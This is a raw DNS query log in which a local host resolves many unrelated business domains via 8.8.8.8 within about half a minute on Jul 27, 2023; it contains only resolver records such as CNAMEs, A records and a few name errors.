Jul 27, 2023 21:52:20.101058960 CEST	8.8.8.8	192.168.2.4	0xd729	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.102539062 CEST	8.8.8.8	192.168.2.4	0x4034	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.102539062 CEST	8.8.8.8	192.168.2.4	0x4034	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.106435061 CEST	8.8.8.8	192.168.2.4	0xe878	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.106435061 CEST	8.8.8.8	192.168.2.4	0xe878	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.108764887 CEST	8.8.8.8	192.168.2.4	0x9fe4	No error (0)	www.ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.108764887 CEST	8.8.8.8	192.168.2.4	0x9fe4	No error (0)	www.ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.121567965 CEST	8.8.8.8	192.168.2.4	0x7da7	No error (0)	www.pdqhomes.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.121567965 CEST	8.8.8.8	192.168.2.4	0x7da7	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.121567965 CEST	8.8.8.8	192.168.2.4	0x7da7	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.121567965 CEST	8.8.8.8	192.168.2.4	0x7da7	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.125341892 CEST	8.8.8.8	192.168.2.4	0xe5ec	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.125341892 CEST	8.8.8.8	192.168.2.4	0xe5ec	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.141752958 CEST	8.8.8.8	192.168.2.4	0xf64d	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.141752958 CEST	8.8.8.8	192.168.2.4	0xf64d	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.150803089 CEST	8.8.8.8	192.168.2.4	0x498d	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.183325052 CEST	8.8.8.8	192.168.2.4	0x919a	No error (0)	www.wkhk.net		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.516772985 CEST	8.8.8.8	192.168.2.4	0xa58b	No error (0)	www.alteor.cl	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.516772985 CEST	8.8.8.8	192.168.2.4	0xa58b	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.516772985 CEST	8.8.8.8	192.168.2.4	0xa58b	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.520711899 CEST	8.8.8.8	192.168.2.4	0xb1ef	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.520711899 CEST	8.8.8.8	192.168.2.4	0xb1ef	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.520711899 CEST	8.8.8.8	192.168.2.4	0xb1ef	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.531820059 CEST	8.8.8.8	192.168.2.4	0xfb5d	No error (0)	www.rs-ag.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.531820059 CEST	8.8.8.8	192.168.2.4	0xfb5d	No error (0)	www.rs-ag.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.801332951 CEST	8.8.8.8	192.168.2.4	0x300f	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:20.801332951 CEST	8.8.8.8	192.168.2.4	0x300f	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:20.801332951 CEST	8.8.8.8	192.168.2.4	0x300f	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.272461891 CEST	8.8.8.8	192.168.2.4	0xb9fd	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.278541088 CEST	8.8.8.8	192.168.2.4	0xdd4d	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.278541088 CEST	8.8.8.8	192.168.2.4	0xdd4d	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.278541088 CEST	8.8.8.8	192.168.2.4	0xdd4d	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.312666893 CEST	8.8.8.8	192.168.2.4	0x28cd	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.312666893 CEST	8.8.8.8	192.168.2.4	0x28cd	No error (0)	ghs.googlehosted.com		172.217.16.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.371293068 CEST	8.8.8.8	192.168.2.4	0x5697	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.371345997 CEST	8.8.8.8	192.168.2.4	0xe6ff	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.386655092 CEST	8.8.8.8	192.168.2.4	0x330b	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.386655092 CEST	8.8.8.8	192.168.2.4	0x330b	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.386681080 CEST	8.8.8.8	192.168.2.4	0x8dd5	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.386681080 CEST	8.8.8.8	192.168.2.4	0x8dd5	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.453605890 CEST	8.8.8.8	192.168.2.4	0x3be4	No error (0)	www.petsfan.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.453605890 CEST	8.8.8.8	192.168.2.4	0x3be4	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.453605890 CEST	8.8.8.8	192.168.2.4	0x3be4	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.453605890 CEST	8.8.8.8	192.168.2.4	0x3be4	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.704401016 CEST	8.8.8.8	192.168.2.4	0xde79	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.704401016 CEST	8.8.8.8	192.168.2.4	0xde79	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.716588974 CEST	8.8.8.8	192.168.2.4	0xa687	No error (0)	www.otena.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:21.776977062 CEST	8.8.8.8	192.168.2.4	0x4b52	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.776977062 CEST	8.8.8.8	192.168.2.4	0x4b52	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:21.776977062 CEST	8.8.8.8	192.168.2.4	0x4b52	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.167462111 CEST	8.8.8.8	192.168.2.4	0x6a62	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.167462111 CEST	8.8.8.8	192.168.2.4	0x6a62	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.254460096 CEST	8.8.8.8	192.168.2.4	0x4f45	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.254460096 CEST	8.8.8.8	192.168.2.4	0x4f45	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.254460096 CEST	8.8.8.8	192.168.2.4	0x4f45	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.258805037 CEST	8.8.8.8	192.168.2.4	0x741b	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.308303118 CEST	8.8.8.8	192.168.2.4	0x27e5	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.356688023 CEST	8.8.8.8	192.168.2.4	0x7f5e	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.367094994 CEST	8.8.8.8	192.168.2.4	0x7e03	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.367094994 CEST	8.8.8.8	192.168.2.4	0x7e03	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.429735899 CEST	8.8.8.8	192.168.2.4	0x951c	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.433712006 CEST	8.8.8.8	192.168.2.4	0x3262	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.433712006 CEST	8.8.8.8	192.168.2.4	0x3262	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.501022100 CEST	8.8.8.8	192.168.2.4	0xb583	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.501022100 CEST	8.8.8.8	192.168.2.4	0xb583	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.509340048 CEST	8.8.8.8	192.168.2.4	0x3071	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.509340048 CEST	8.8.8.8	192.168.2.4	0x3071	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.833410025 CEST	8.8.8.8	192.168.2.4	0x26f4	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.833410025 CEST	8.8.8.8	192.168.2.4	0x26f4	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.878017902 CEST	8.8.8.8	192.168.2.4	0x9ba3	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.878017902 CEST	8.8.8.8	192.168.2.4	0x9ba3	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.948582888 CEST	8.8.8.8	192.168.2.4	0x4873	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.948582888 CEST	8.8.8.8	192.168.2.4	0x4873	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.953949928 CEST	8.8.8.8	192.168.2.4	0x7fde	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.953949928 CEST	8.8.8.8	192.168.2.4	0x7fde	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.963885069 CEST	8.8.8.8	192.168.2.4	0xb3aa	No error (0)	www.cokocoko.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.963885069 CEST	8.8.8.8	192.168.2.4	0xb3aa	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:22.963885069 CEST	8.8.8.8	192.168.2.4	0xb3aa	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:22.963885069 CEST	8.8.8.8	192.168.2.4	0xb3aa	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:23.367897987 CEST	8.8.8.8	192.168.2.4	0xfb5d	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:23.367897987 CEST	8.8.8.8	192.168.2.4	0xfb5d	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:23.367897987 CEST	8.8.8.8	192.168.2.4	0xfb5d	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.154648066 CEST	8.8.8.8	192.168.2.4	0xbaf4	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.164295912 CEST	8.8.8.8	192.168.2.4	0x367e	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.167435884 CEST	8.8.8.8	192.168.2.4	0x711d	No error (0)	www.stnic.co.uk		77.68.50.105	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.172811031 CEST	8.8.8.8	192.168.2.4	0xfbd6	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.197586060 CEST	8.8.8.8	192.168.2.4	0x6190	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.209948063 CEST	8.8.8.8	192.168.2.4	0xcf0d	No error (0)	www.wifi4all.nl		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.209948063 CEST	8.8.8.8	192.168.2.4	0xcf0d	No error (0)	www.wifi4all.nl		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.278167963 CEST	8.8.8.8	192.168.2.4	0x63f6	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:24.278167963 CEST	8.8.8.8	192.168.2.4	0x63f6	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.287231922 CEST	8.8.8.8	192.168.2.4	0x6f26	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.360857010 CEST	8.8.8.8	192.168.2.4	0x6a42	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.696280003 CEST	8.8.8.8	192.168.2.4	0xa6ba	No error (0)	www.findbc.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.696280003 CEST	8.8.8.8	192.168.2.4	0xa6ba	No error (0)	www.findbc.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.746084929 CEST	8.8.8.8	192.168.2.4	0xdc6e	No error (0)	www.fcwcvt.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.746084929 CEST	8.8.8.8	192.168.2.4	0xdc6e	No error (0)	www.fcwcvt.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.864274979 CEST	8.8.8.8	192.168.2.4	0xca00	No error (0)	www.netcr.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:24.864274979 CEST	8.8.8.8	192.168.2.4	0xca00	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:24.864274979 CEST	8.8.8.8	192.168.2.4	0xca00	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.864274979 CEST	8.8.8.8	192.168.2.4	0xca00	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.873447895 CEST	8.8.8.8	192.168.2.4	0x2e16	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:24.993602037 CEST	8.8.8.8	192.168.2.4	0x8ae7	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.112365961 CEST	8.8.8.8	192.168.2.4	0xab38	No error (0)	www.mobilnic.net		154.203.14.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.151786089 CEST	8.8.8.8	192.168.2.4	0xd4d8	No error (0)	www.c9dd.com		188.166.152.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.406326056 CEST	8.8.8.8	192.168.2.4	0xa3b5	No error (0)	www.snugpak.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.406326056 CEST	8.8.8.8	192.168.2.4	0xa3b5	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.441420078 CEST	8.8.8.8	192.168.2.4	0x92a1	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.441420078 CEST	8.8.8.8	192.168.2.4	0x92a1	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.466451883 CEST	8.8.8.8	192.168.2.4	0xf0d	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.466451883 CEST	8.8.8.8	192.168.2.4	0xf0d	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.466451883 CEST	8.8.8.8	192.168.2.4	0xf0d	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.961535931 CEST	8.8.8.8	192.168.2.4	0x2f96	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.970938921 CEST	8.8.8.8	192.168.2.4	0xbc36	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.970938921 CEST	8.8.8.8	192.168.2.4	0xbc36	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.979044914 CEST	8.8.8.8	192.168.2.4	0x551	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.91	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:25.998193026 CEST	8.8.8.8	192.168.2.4	0x155a	No error (0)	d2kt7vovxa5e81.cloudfront.net		13.224.103.118	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.386405945 CEST	8.8.8.8	192.168.2.4	0xa011	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.552802086 CEST	8.8.8.8	192.168.2.4	0xcf07	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.603552103 CEST	8.8.8.8	192.168.2.4	0x3f98	No error (0)	www.fink.com		69.163.218.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.650868893 CEST	8.8.8.8	192.168.2.4	0x4df4	No error (0)	www.kernsafe.com		104.26.3.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.650868893 CEST	8.8.8.8	192.168.2.4	0x4df4	No error (0)	www.kernsafe.com		104.26.2.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.650868893 CEST	8.8.8.8	192.168.2.4	0x4df4	No error (0)	www.kernsafe.com		172.67.72.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:26.665498972 CEST	8.8.8.8	192.168.2.4	0x8024	No error (0)	www.koz1.net		72.251.233.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:27.324575901 CEST	8.8.8.8	192.168.2.4	0x6f26	No error (0)	www.holleman.us		51.79.51.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:27.844455957 CEST	8.8.8.8	192.168.2.4	0xd90f	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:27.844455957 CEST	8.8.8.8	192.168.2.4	0xd90f	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:27.844455957 CEST	8.8.8.8	192.168.2.4	0xd90f	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:27.844455957 CEST	8.8.8.8	192.168.2.4	0xd90f	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:27.844455957 CEST	8.8.8.8	192.168.2.4	0xd90f	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:28.052304029 CEST	8.8.8.8	192.168.2.4	0x78e	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:28.248480082 CEST	8.8.8.8	192.168.2.4	0x2df2	No error (0)	www.myropcb.com		74.208.236.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:29.687077999 CEST	8.8.8.8	192.168.2.4	0xb1f6	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:30.356775045 CEST	8.8.8.8	192.168.2.4	0x4023	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:42.232367992 CEST	8.8.8.8	192.168.2.4	0x502e	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:42.232367992 CEST	8.8.8.8	192.168.2.4	0x502e	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.19	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:42.232367992 CEST	8.8.8.8	192.168.2.4	0x502e	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:42.232367992 CEST	8.8.8.8	192.168.2.4	0x502e	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:42.232367992 CEST	8.8.8.8	192.168.2.4	0x502e	No error (0)	d2r2uj0bnofxxz.cloudfront.net		18.165.183.99	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:43.586571932 CEST	8.8.8.8	192.168.2.4	0x25cc	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.450216055 CEST	8.8.8.8	192.168.2.4	0x5366	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.859507084 CEST	8.8.8.8	192.168.2.4	0xb425	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.859507084 CEST	8.8.8.8	192.168.2.4	0xb425	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:44.859507084 CEST	8.8.8.8	192.168.2.4	0xb425	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:45.614217043 CEST	8.8.8.8	192.168.2.4	0x7a7f	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:45.995512009 CEST	8.8.8.8	192.168.2.4	0x6608	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.410646915 CEST	8.8.8.8	192.168.2.4	0x83df	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.453726053 CEST	8.8.8.8	192.168.2.4	0x34c	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:46.453726053 CEST	8.8.8.8	192.168.2.4	0x34c	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:46.961189032 CEST	8.8.8.8	192.168.2.4	0x1af2	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:46.961189032 CEST	8.8.8.8	192.168.2.4	0x1af2	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.020725012 CEST	8.8.8.8	192.168.2.4	0x184e	No error (0)	www.dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.020725012 CEST	8.8.8.8	192.168.2.4	0x184e	No error (0)	www.dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.465235949 CEST	8.8.8.8	192.168.2.4	0xbf53	No error (0)	www.crcsi.org	crcsi.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:52:47.465235949 CEST	8.8.8.8	192.168.2.4	0xbf53	No error (0)	crcsi.org		165.227.252.190	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.602835894 CEST	8.8.8.8	192.168.2.4	0x4b28	No error (0)	www.x0c.com		104.143.9.110	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:52:47.602835894 CEST	8.8.8.8	192.168.2.4	0x4b28	No error (0)	www.x0c.com		104.143.9.111	A (IP address)	IN (0x0001)	false
